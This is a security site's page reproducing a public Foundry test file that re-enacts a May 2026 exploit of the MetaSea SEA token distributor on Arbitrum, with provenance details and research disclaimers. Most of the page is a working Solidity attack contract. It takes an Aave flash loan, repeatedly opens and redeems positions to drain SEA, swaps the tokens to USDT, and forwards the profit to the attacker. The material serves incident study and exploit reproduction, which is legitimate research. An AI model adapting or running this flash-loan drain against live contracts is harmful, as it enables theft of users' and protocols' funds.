Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/SEAToken_exp.sol

Public reproduction file for dataset entry SEAToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/SEAToken_exp.sol164 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import {Test} from "forge-std/Test.sol";
5import {console} from "forge-std/console.sol";
6import {IERC20} from "forge-std/interfaces/IERC20.sol";
7
8// @KeyInfo - Total Lost : ~$110K
9// Attacker : https://arbiscan.io/address/0x352173fabf0e67e1cb1fcdf15474d0477d5d3674
10// Attack Contract : https://arbiscan.io/address/0x32db518e84955739912b6257cc65e3e8374b60e4
11// Vulnerable Contract : https://arbiscan.io/address/0xa70f31c06f921019237fc00b1417217dae5c37c5
12// Attack Tx : https://arbiscan.io/tx/0x001cb16e17c4c5a5c4d02423c9e9b2f2b11ab6b2a1baf2ba53b8fcaf06167716
13//
14// @Info
15// Vulnerable Contract Code : https://arbiscan.io/address/0xa70f31c06f921019237fc00b1417217dae5c37c5#code
16//
17// @Analysis
18// Post-mortem : N/A
19// Hacking God : https://anomly.rs/metasea-redeemposition-distributor-drain-arb-2026-05-17
21contract SEATokenTest is Test {
22 bytes32 internal constant TX_HASH = 0x001cb16e17c4c5a5c4d02423c9e9b2f2b11ab6b2a1baf2ba53b8fcaf06167716;
23 address internal constant ATTACKER = 0x352173FAbF0E67E1cB1fcdF15474D0477D5D3674;
24 address internal constant AAVE_V3_POOL = 0x794a61358D6845594F94dc1DB02A252b5b4814aD;
25 address internal constant ROUND = 0xA70F31c06F921019237Fc00B1417217Dae5c37C5;
26 address internal constant DISTRIBUTOR = 0x5210525fbf63E55ecA1Ade9Ff98A3Ef80AF9220e;
27 address internal constant SEA_USDT_PAIR = 0xEeb9c6B73a9Ba397FBEA320d9E4cCe7B8AC10513;
28 uint256 internal constant ACTUAL_USDT_PROFIT = 13_904_941_068;
29 uint256 internal constant ACTUAL_SEA_DRAINED = 245_547_600_901_738;
30 IERC20 internal constant USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
31 IERC20 internal constant SEA = IERC20(0xE548CF28fbB95cEDC2b5c25a24f9AA8D06dcc0A6);
33 SEATokenExploit internal exploit;
35 function setUp() public {
36 vm.createSelectFork("arbitrum", TX_HASH);
37 exploit = new SEATokenExploit(ATTACKER);
38 vm.label(ATTACKER, "Attacker");
39 vm.label(AAVE_V3_POOL, "Aave V3 Pool");
40 vm.label(ROUND, "MetaSea Round");
41 vm.label(DISTRIBUTOR, "SEA Distributor");
42 vm.label(SEA_USDT_PAIR, "SEA/USDT Pair");
43 vm.label(address(USDT), "USDT");
44 vm.label(address(SEA), "SEA");
45 vm.label(address(exploit), "Exploit Contract");
46 }
48 function testExploit() public {
49 uint256 beforeUsdt = USDT.balanceOf(ATTACKER);
50 uint256 beforeDistributorSea = SEA.balanceOf(DISTRIBUTOR);
52 vm.prank(ATTACKER, ATTACKER);
53 exploit.attack();
55 uint256 usdtProfit = USDT.balanceOf(ATTACKER) - beforeUsdt;
56 uint256 distributorSeaDrained = beforeDistributorSea - SEA.balanceOf(DISTRIBUTOR);
58 assertEq(usdtProfit, ACTUAL_USDT_PROFIT, "USDT profit");
59 assertEq(distributorSeaDrained, ACTUAL_SEA_DRAINED, "SEA drain");
61 console.log("Stolen SEA", distributorSeaDrained);
62 console.log("Profit USDT", usdtProfit);
63 }
66contract SEATokenExploit {
67 IAaveV3Pool internal constant AAVE_V3_POOL = IAaveV3Pool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
68 IMetaSeaRound internal constant ROUND = IMetaSeaRound(0xA70F31c06F921019237Fc00B1417217Dae5c37C5);
69 IUniswapV2Pair internal constant SEA_USDT_PAIR = IUniswapV2Pair(0xEeb9c6B73a9Ba397FBEA320d9E4cCe7B8AC10513);
70 IERC20 internal constant USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
71 IERC20 internal constant SEA = IERC20(0xE548CF28fbB95cEDC2b5c25a24f9AA8D06dcc0A6);
73 bytes4 internal constant OPEN_POSITION_SELECTOR = 0x987217bc;
74 uint256 internal constant FLASH_LOAN_AMOUNT = 3_300e6;
75 uint256 internal constant SEA_BUY_AMOUNT = 300e6;
76 uint256 internal constant OPEN_AMOUNT = 3_000e6;
77 uint256 internal constant LOOP_COUNT = 12;
79 address internal immutable owner;
81 constructor(address owner_) {
82 owner = owner_;
83 }
85 function attack() external {
86 require(msg.sender == owner, "not owner");
87 AAVE_V3_POOL.flashLoanSimple(address(this), address(USDT), FLASH_LOAN_AMOUNT, "", 0);
89 uint256 profit = USDT.balanceOf(address(this));
90 require(USDT.transfer(owner, profit), "profit transfer failed");
91 }
93 function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata)
94 external
95 returns (bool)
96 {
97 require(msg.sender == address(AAVE_V3_POOL), "not aave");
98 require(initiator == address(this), "bad initiator");
99 require(asset == address(USDT), "bad asset");
101 for (uint256 i; i < LOOP_COUNT; ++i) {
102 _openAndRedeem();
103 }
105 require(USDT.approve(address(AAVE_V3_POOL), amount + premium), "repay approve failed");
106 return true;
107 }
109 function _openAndRedeem() internal {
110 _swapUsdtForSea(SEA_BUY_AMOUNT);
112 require(USDT.approve(address(ROUND), OPEN_AMOUNT), "USDT approve failed");
113 (bool opened,) = address(ROUND).call(abi.encodeWithSelector(OPEN_POSITION_SELECTOR, OPEN_AMOUNT, uint256(0)));
114 require(opened, "open failed");
116 require(SEA.approve(address(ROUND), type(uint256).max), "SEA approve failed");
117 ROUND.redeemPosition();
119 uint256 seaBalance = SEA.balanceOf(address(this));
120 if (seaBalance > 0) {
121 _swapSeaForUsdt(seaBalance);
122 }
123 }
125 function _swapUsdtForSea(uint256 usdtIn) internal {
126 (uint112 reserveSea, uint112 reserveUsdt,) = SEA_USDT_PAIR.getReserves();
127 uint256 seaOut = (usdtIn * reserveSea) / (uint256(reserveUsdt) + usdtIn);
129 require(USDT.transfer(address(SEA_USDT_PAIR), usdtIn), "USDT pair transfer failed");
130 SEA_USDT_PAIR.swap((seaOut * 97) / 100, 0, address(this), "");
131 }
133 function _swapSeaForUsdt(uint256 seaIn) internal {
134 (uint112 reserveSea, uint112 reserveUsdt,) = SEA_USDT_PAIR.getReserves();
135 uint256 pairSeaBefore = SEA.balanceOf(address(SEA_USDT_PAIR));
137 require(SEA.transfer(address(SEA_USDT_PAIR), seaIn), "SEA pair transfer failed");
139 uint256 seaReceived = SEA.balanceOf(address(SEA_USDT_PAIR)) - pairSeaBefore;
140 uint256 amountInWithFee = seaReceived * 970;
141 uint256 usdtOut = (amountInWithFee * reserveUsdt) / (uint256(reserveSea) * 1000 + amountInWithFee);
143 SEA_USDT_PAIR.swap(0, usdtOut, address(this), "");
144 }
147interface IAaveV3Pool {
148 function flashLoanSimple(
149 address receiverAddress,
150 address asset,
151 uint256 amount,
152 bytes calldata params,
153 uint16 referralCode
154 ) external;
157interface IUniswapV2Pair {
158 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
159 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
162interface IMetaSeaRound {
163 function redeemPosition() external;

Analysis

Dataset entry

Public Foundry test for “SEAToken” (2026-05-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x352173fabf0e67e1cb1fcdf15474d0477d5d3674

  • Attack Contract

    0x32db518e84955739912b6257cc65e3e8374b60e4

  • Vulnerable Contract

    0xa70f31c06f921019237fc00b1417217dae5c37c5

  • Attack Tx

    0x001cb16e17c4c5a5c4d02423c9e9b2f2b11ab6b2a1baf2ba53b8fcaf06167716

File record

Name
SEAToken
Path
src/test/2026-05/SEAToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d0e031b6a19ba41930f1903916de21e6a7dd08f3
Language
Solidity
Size
165 lines
Date
2026-05-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/SEAToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d0e031b6a19ba41930f1903916de21e6a7dd08f3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.